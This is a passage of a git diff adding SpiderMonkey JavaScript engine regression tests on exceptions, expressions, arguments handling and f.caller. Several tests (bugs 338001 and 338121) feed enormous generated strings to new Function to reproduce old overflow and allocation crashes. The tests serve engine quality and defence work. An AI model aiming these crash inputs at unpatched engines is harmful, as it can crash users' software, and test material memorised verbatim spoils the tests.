+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exc() { this.toString = function() { return "EXC"; } }
+ throw new exc();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Exceptions/regress-350837.js b/js/src/tests/js1_5/Exceptions/regress-350837.js
new file mode 100644
index 000000000..f15cba4d0
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/regress-350837.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350837;
+var summary = 'clear cx->throwing in finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'F';
+
+ function f()
+ {
+ actual = "F";
+ }
+
+ try
+ {
+ try {
+ throw 1;
+ } finally {
+ f.call(this);
+ }
+ }
+ catch(ex)
+ {
+ reportCompare(1, ex, summary);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Exceptions/shell.js b/js/src/tests/js1_5/Exceptions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/shell.js
diff --git a/js/src/tests/js1_5/Expressions/browser.js b/js/src/tests/js1_5/Expressions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Expressions/browser.js
diff --git a/js/src/tests/js1_5/Expressions/regress-192288.js b/js/src/tests/js1_5/Expressions/regress-192288.js
new file mode 100644
index 000000000..da4e35824
--- /dev/null
+++ b/js/src/tests/js1_5/Expressions/regress-192288.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 07 February 2003
+ * SUMMARY: Testing 0/0 inside functions
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192288
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192288;
+var summary = 'Testing 0/0 inside functions ';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ return 0/0;
+}
+
+status = inSection(1);
+actual = isNaN(f());
+expect = true;
+addThis();
+
+status = inSection(2);
+actual = isNaN(f.apply(this));
+expect = true;
+addThis();
+
+status = inSection(3);
+actual = isNaN(eval("f.apply(this)"));
+expect = true;
+addThis();
+
+status = inSection(4);
+actual = isNaN(Function('return 0/0;')());
+expect = true;
+addThis();
+
+status = inSection(5);
+actual = isNaN(eval("Function('return 0/0;')()"));
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Expressions/regress-394673.js b/js/src/tests/js1_5/Expressions/regress-394673.js
new file mode 100644
index 000000000..8b22e65f6
--- /dev/null
+++ b/js/src/tests/js1_5/Expressions/regress-394673.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 394673;
+var summary = 'Parsing long chains of "&&" or "||"';
+var actual = 'No Error';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var N = 70*1000;
+var counter;
+
+counter = 0;
+var x = build("&&")();
+if (x !== true)
+ throw "Unexpected result: x="+x;
+if (counter != N)
+ throw "Unexpected counter: counter="+counter;
+
+counter = 0;
+var x = build("||")();
+if (x !== true)
+ throw "Unexpected result: x="+x;
+if (counter != 1)
+ throw "Unexpected counter: counter="+counter;
+
+function build(operation)
+{
+ var counter;
+ var a = [];
+ a.push("return f()");
+ for (var i = 1; i != N - 1; ++i)
+ a.push("f()");
+ a.push("f();");
+ return new Function(a.join(operation));
+}
+
+function f()
+{
+ ++counter;
+ return true;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Expressions/regress-96526-argsub.js b/js/src/tests/js1_5/Expressions/regress-96526-argsub.js
new file mode 100644
index 000000000..e78c2d2b1
--- /dev/null
+++ b/js/src/tests/js1_5/Expressions/regress-96526-argsub.js
@@ -0,0 +1,91 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 Oct 2002
+ * SUMMARY: Testing "use" and "set" operations on expressions like a[i][j][k]
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526#c52
+ *
+ * Brendan: "The idea is to cover all the 'use' and 'set' (as in modify)
+ * operations you can do on an expression like a[i][j][k], including variations
+ * where you replace |a| with arguments (literally) and |i| with 0, 1, 2, etc.
+ * (to hit the optimization for arguments[0]... that uses JSOP_ARGSUB)."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96526;
+var summary = 'Testing "use" and "set" ops on expressions like a[i][j][k]';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var z='magic';
+Number.prototype.magic=42;
+
+status = inSection(1);
+actual = f(2,1,[1,2,[3,4]]);
+expect = 42;
+addThis();
+
+
+function f(j,k)
+{
+ status = inSection(2);
+ actual = formatArray(arguments[2]);
+ expect = formatArray([1,2,[3,4]]);
+ addThis();
+
+ status = inSection(3);
+ actual = formatArray(arguments[2][j]);
+ expect = formatArray([3,4]);
+ addThis();
+
+ status = inSection(4);
+ actual = arguments[2][j][k];
+ expect = 4;
+ addThis();
+
+ status = inSection(5);
+ actual = arguments[2][j][k][z];
+ expect = 42;
+ addThis();
+
+ return arguments[2][j][k][z];
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Expressions/regress-96526-delelem.js b/js/src/tests/js1_5/Expressions/regress-96526-delelem.js
new file mode 100644
index 000000000..d66faed4e
--- /dev/null
+++ b/js/src/tests/js1_5/Expressions/regress-96526-delelem.js
@@ -0,0 +1,91 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 Oct 2002
+ * SUMMARY: Testing "use" and "set" operations on expressions like a[i][j][k]
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526#c52
+ *
+ * Brendan: "The idea is to cover all the 'use' and 'set' (as in modify)
+ * operations you can do on an expression like a[i][j][k], including variations
+ * where you replace |a| with arguments (literally) and |i| with 0, 1, 2, etc.
+ * (to hit the optimization for arguments[0]... that uses JSOP_ARGSUB)."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96526;
+var summary = 'Testing "use" and "set" ops on expressions like a[i][j][k]';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var z='magic';
+Number.prototype.magic=42;
+f(2,1,[-1,0,[1,2,[3,4]]]);
+
+function f(j,k,a)
+{
+ status = inSection(1);
+ actual = formatArray(a[2]);
+ expect = formatArray([1,2,[3,4]]);
+ addThis();
+
+ status = inSection(2);
+ actual = formatArray(a[2][j]);
+ expect = formatArray([3,4]);
+ addThis();
+
+ status = inSection(3);
+ actual = a[2][j][k];
+ expect = 4;
+ addThis();
+
+ status = inSection(4);
+ actual = a[2][j][k][z];
+ expect = 42;
+ addThis();
+
+ delete a[2][j][k];
+
+ status = inSection(5);
+ actual = formatArray(a[2][j]);
+ expect = '[3, ,]';
+ addThis();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Expressions/regress-96526-noargsub.js b/js/src/tests/js1_5/Expressions/regress-96526-noargsub.js
new file mode 100644
index 000000000..3b25ab312
--- /dev/null
+++ b/js/src/tests/js1_5/Expressions/regress-96526-noargsub.js
@@ -0,0 +1,91 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 Oct 2002
+ * SUMMARY: Testing "use" and "set" operations on expressions like a[i][j][k]
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526#c52
+ *
+ * Brendan: "The idea is to cover all the 'use' and 'set' (as in modify)
+ * operations you can do on an expression like a[i][j][k], including variations
+ * where you replace |a| with arguments (literally) and |i| with 0, 1, 2, etc.
+ * (to hit the optimization for arguments[0]... that uses JSOP_ARGSUB)."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96526;
+var summary = 'Testing "use" and "set" ops on expressions like a[i][j][k]';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var z='magic';
+Number.prototype.magic=42;
+
+status = inSection(1);
+actual = f(2,1,[-1,0,[1,2,[3,4]]]);
+expect = 42;
+addThis();
+
+
+function f(j,k,a)
+{
+ status = inSection(2);
+ actual = formatArray(a[2]);
+ expect = formatArray([1,2,[3,4]]);
+ addThis();
+
+ status = inSection(3);
+ actual = formatArray(a[2][j]);
+ expect = formatArray([3,4]);
+ addThis();
+
+ status = inSection(4);
+ actual = a[2][j][k];
+ expect = 4;
+ addThis();
+
+ status = inSection(5);
+ actual = a[2][j][k][z];
+ expect = 42;
+ addThis();
+
+ return a[2][j][k][z];
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Expressions/shell.js b/js/src/tests/js1_5/Expressions/shell.js
new file mode 100644
index 000000000..de97dad87
--- /dev/null
+++ b/js/src/tests/js1_5/Expressions/shell.js
@@ -0,0 +1,103 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 07 February 2001
+ *
+ * Functionality common to Array testing -
+ */
+//-----------------------------------------------------------------------------
+
+
+var CHAR_LBRACKET = '[';
+var CHAR_RBRACKET = ']';
+var CHAR_QT_DBL = '"';
+var CHAR_QT = "'";
+var CHAR_NL = '\n';
+var CHAR_COMMA = ',';
+var CHAR_SPACE = ' ';
+var TYPE_STRING = typeof 'abc';
+
+
+/*
+ * If available, arr.toSource() gives more detail than arr.toString()
+ *
+ * var arr = Array(1,2,'3');
+ *
+ * arr.toSource()
+ * [1, 2, "3"]
+ *
+ * arr.toString()
+ * 1,2,3
+ *
+ * But toSource() doesn't exist in Rhino, so use our own imitation, below -
+ *
+ */
+function formatArray(arr)
+{
+ try
+ {
+ return arr.toSource();
+ }
+ catch(e)
+ {
+ return toSource(arr);
+ }
+}
+
+
+
+/*
+ * Imitate SpiderMonkey's arr.toSource() method:
+ *
+ * a) Double-quote each array element that is of string type
+ * b) Represent |undefined| and |null| by empty strings
+ * c) Delimit elements by a comma + single space
+ * d) Do not add delimiter at the end UNLESS the last element is |undefined|
+ * e) Add square brackets to the beginning and end of the string
+ */
+function toSource(arr)
+{
+ var delim = CHAR_COMMA + CHAR_SPACE;
+ var elt = '';
+ var ret = '';
+ var len = arr.length;
+
+ for (i=0; i<len; i++)
+ {
+ elt = arr[i];
+
+ switch(true)
+ {
+ case (typeof elt === TYPE_STRING) :
+ ret += doubleQuote(elt);
+ break;
+
+ case (elt === undefined || elt === null) :
+ break; // add nothing but the delimiter, below -
+
+ default:
+ ret += elt.toString();
+ }
+
+ if ((i < len-1) || (elt === undefined))
+ ret += delim;
+ }
+
+ return CHAR_LBRACKET + ret + CHAR_RBRACKET;
+}
+
+
+function doubleQuote(text)
+{
+ return CHAR_QT_DBL + text + CHAR_QT_DBL;
+}
+
+
+function singleQuote(text)
+{
+ return CHAR_QT + text + CHAR_QT;
+}
+
diff --git a/js/src/tests/js1_5/Function/10.1.6-01.js b/js/src/tests/js1_5/Function/10.1.6-01.js
new file mode 100644
index 000000000..fbb98616e
--- /dev/null
+++ b/js/src/tests/js1_5/Function/10.1.6-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 293782;
+var summary = 'Local variables should not be enumerable properties of the function';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ var x,y
+ }
+
+var p;
+actual = '';
+
+for (p in f)
+{
+ actual += p + ',';
+}
+expect = '';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Function/10.1.6.js b/js/src/tests/js1_5/Function/10.1.6.js
new file mode 100644
index 000000000..504001cb1
--- /dev/null
+++ b/js/src/tests/js1_5/Function/10.1.6.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 293782;
+var summary = 'Local variables can cause predefined function object properties to be undefined';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ var name=1;
+}
+
+expect = 'f';
+actual = f.name;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Function/browser.js b/js/src/tests/js1_5/Function/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Function/browser.js
diff --git a/js/src/tests/js1_5/Function/regress-123371.js b/js/src/tests/js1_5/Function/regress-123371.js
new file mode 100644
index 000000000..58294c6a0
--- /dev/null
+++ b/js/src/tests/js1_5/Function/regress-123371.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 123371;
+var summary = 'Do not crash when newline separates function name from arglist';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus
+('function call succeeded');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Function/regress-178389.js b/js/src/tests/js1_5/Function/regress-178389.js
new file mode 100644
index 000000000..e1735adf8
--- /dev/null
+++ b/js/src/tests/js1_5/Function/regress-178389.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 178389;
+var summary = 'Function.prototype.toSource should not override Function.prototype.toString';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ var g = function (){};
+}
+
+expect = f.toString();
+
+Function.prototype.toSource = function () { return ''; };
+
+actual = f.toString();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Function/regress-222029-001.js b/js/src/tests/js1_5/Function/regress-222029-001.js
new file mode 100644
index 000000000..18d9abfca
--- /dev/null
+++ b/js/src/tests/js1_5/Function/regress-222029-001.js
@@ -0,0 +1,126 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Oct 2003
+ * SUMMARY: Make our f.caller property match IE's wrt f.apply and f.call
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=222029
+ *
+ * Below, when gg calls f via |f.call|, we have this call chain:
+ *
+ * calls calls
+ * gg() ---------> Function.prototype.call() ---------> f()
+ *
+ *
+ * The question this bug addresses is, "What should we say |f.caller| is?"
+ *
+ * Before this fix, SpiderMonkey said it was |Function.prototype.call|.
+ * After this fix, SpiderMonkey emulates IE and says |gg| instead.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 222029;
+var summary = "Make our f.caller property match IE's wrt f.apply and f.call";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ return f.caller.p ;
+}
+
+
+/*
+ * Call |f| directly
+ */
+function g()
+{
+ return f();
+}
+g.p = "hello";
+
+
+/*
+ * Call |f| via |f.call|
+ */
+function gg()
+{
+ return f.call(this);
+}
+gg.p = "hello";
+
+
+/*
+ * Call |f| via |f.apply|
+ */
+function ggg()
+{
+ return f.apply(this);
+}
+ggg.p = "hello";
+
+
+/*
+ * Shadow |p| on |Function.prototype.call|, |Function.prototype.apply|.
+ * In Sections 2 and 3 below, we no longer expect to recover this value -
+ */
+Function.prototype.call.p = "goodbye";
+Function.prototype.apply.p = "goodbye";
+
+
+
+status = inSection(1);
+actual = g();
+expect = "hello";
+addThis();
+
+status = inSection(2);
+actual = gg();
+expect = "hello";
+addThis();
+
+status = inSection(3);
+actual = ggg();
+expect = "hello";
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Function/regress-222029-002.js b/js/src/tests/js1_5/Function/regress-222029-002.js
new file mode 100644
index 000000000..e5d88aa94
--- /dev/null
+++ b/js/src/tests/js1_5/Function/regress-222029-002.js
@@ -0,0 +1,135 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Oct 2003
+ * SUMMARY: Make our f.caller property match IE's wrt f.apply and f.call
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=222029
+ *
+ * Below, when gg calls f via |f.call|, we have this call chain:
+ *
+ * calls calls
+ * gg() ---------> Function.prototype.call() ---------> f()
+ *
+ *
+ * The question this bug addresses is, "What should we say |f.caller| is?"
+ *
+ * Before this fix, SpiderMonkey said it was |Function.prototype.call|.
+ * After this fix, SpiderMonkey emulates IE and says |gg| instead.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 222029;
+var summary = "Make our f.caller property match IE's wrt f.apply and f.call";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ * Try to confuse the engine by adding a |p| property to everything!
+ */
+var p = 'global';
+var o = {p:'object'};
+
+
+function f(obj)
+{
+ return f.caller.p ;
+}
+
+
+/*
+ * Call |f| directly
+ */
+function g(obj)
+{
+ var p = 'local';
+ return f(obj);
+}
+g.p = "hello";
+
+
+/*
+ * Call |f| via |f.call|
+ */
+function gg(obj)
+{
+ var p = 'local';
+ return f.call(obj, obj);
+}
+gg.p = "hello";
+
+
+/*
+ * Call |f| via |f.apply|
+ */
+function ggg(obj)
+{
+ var p = 'local';
+ return f.apply(obj, [obj]);
+}
+ggg.p = "hello";
+
+
+/*
+ * Shadow |p| on |Function.prototype.call|, |Function.prototype.apply|.
+ * In Sections 2 and 3 below, we no longer expect to recover this value -
+ */
+Function.prototype.call.p = "goodbye";
+Function.prototype.apply.p = "goodbye";
+
+
+
+status = inSection(1);
+actual = g(o);
+expect = "hello";
+addThis();
+
+status = inSection(2);
+actual = gg(o);
+expect = "hello";
+addThis();
+
+status = inSection(3);
+actual = ggg(o);
+expect = "hello";
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Function/regress-292215.js b/js/src/tests/js1_5/Function/regress-292215.js
new file mode 100644
index 000000000..c264b7417
--- /dev/null
+++ b/js/src/tests/js1_5/Function/regress-292215.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 292215;
+var summary = 'Set arguments';
+var actual = '';
+var expect = '00012';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function zeroArguments () {
+ arguments[1] = '0';
+ actual += arguments[1];
+}
+
+function oneArgument (x) {
+ arguments[1] = '1';
+ actual += arguments[1];
+}
+
+function twoArguments (x,y) {
+ arguments[1] = '2';
+ actual += arguments[1];
+}
+
+zeroArguments();
+zeroArguments(1);
+zeroArguments('a', 'b');
+oneArgument();
+twoArguments();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Function/regress-338001.js b/js/src/tests/js1_5/Function/regress-338001.js
new file mode 100644
index 000000000..d8b2b772f
--- /dev/null
+++ b/js/src/tests/js1_5/Function/regress-338001.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android) silentfail skip -- disabled pending bug 657444
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338001;
+var summary = 'integer overflow in jsfun.c:Function';
+var actual = 'No Crash';
+var expect = /No Crash|InternalError: allocation size overflow/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var fe="f";
+
+try
+{
+ for (i=0; i<25; i++)
+ fe += fe;
+
+ var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ "done"
+ );
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ actual = ex + '';
+}
+
+print('Done: ' + actual);
+
+reportMatch(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Function/regress-338121-01.js b/js/src/tests/js1_5/Function/regress-338121-01.js
new file mode 100644
index 000000000..3271c38af
--- /dev/null
+++ b/js/src/tests/js1_5/Function/regress-338121-01.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(Android) silentfail skip -- disabled pending bug 657444
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338121;
+var summary = 'Issues with JS_ARENA_ALLOCATE_CAST';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var fe="v";
+
+for (i=0; i<25; i++)
+ fe += fe;
+
+var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ "done"
+ );
+
+print('Done');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Function/regress-338121-02.js b/js/src/tests/js1_5/Function/regress-338121-02.js
new file mode 100644
index 000000000..f051c00ce
--- /dev/null
+++ b/js/src/tests/js1_5/Function/regress-338121-02.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(Android) silentfail skip -- disabled pending bug 657444
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338121;
+var summary = 'Issues with JS_ARENA_ALLOCATE_CAST';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var fe="vv";
+
+for (i=0; i<24; i++)
+ fe += fe;
+
+var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ "done"
+ );
+
+//alert("fu="+fu);
+//print("fu="+fu);
+var fuout = 'fu=' + fu;
+
+print('Done');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Function/regress-338121-03.js b/js/src/tests/js1_5/Function/regress-338121-03.js
new file mode 100644
index 000000000..b7f656af7
--- /dev/null
+++ b/js/src/tests/js1_5/Function/regress-338121-03.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(Android) silentfail skip -- disabled pending bug 657444
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
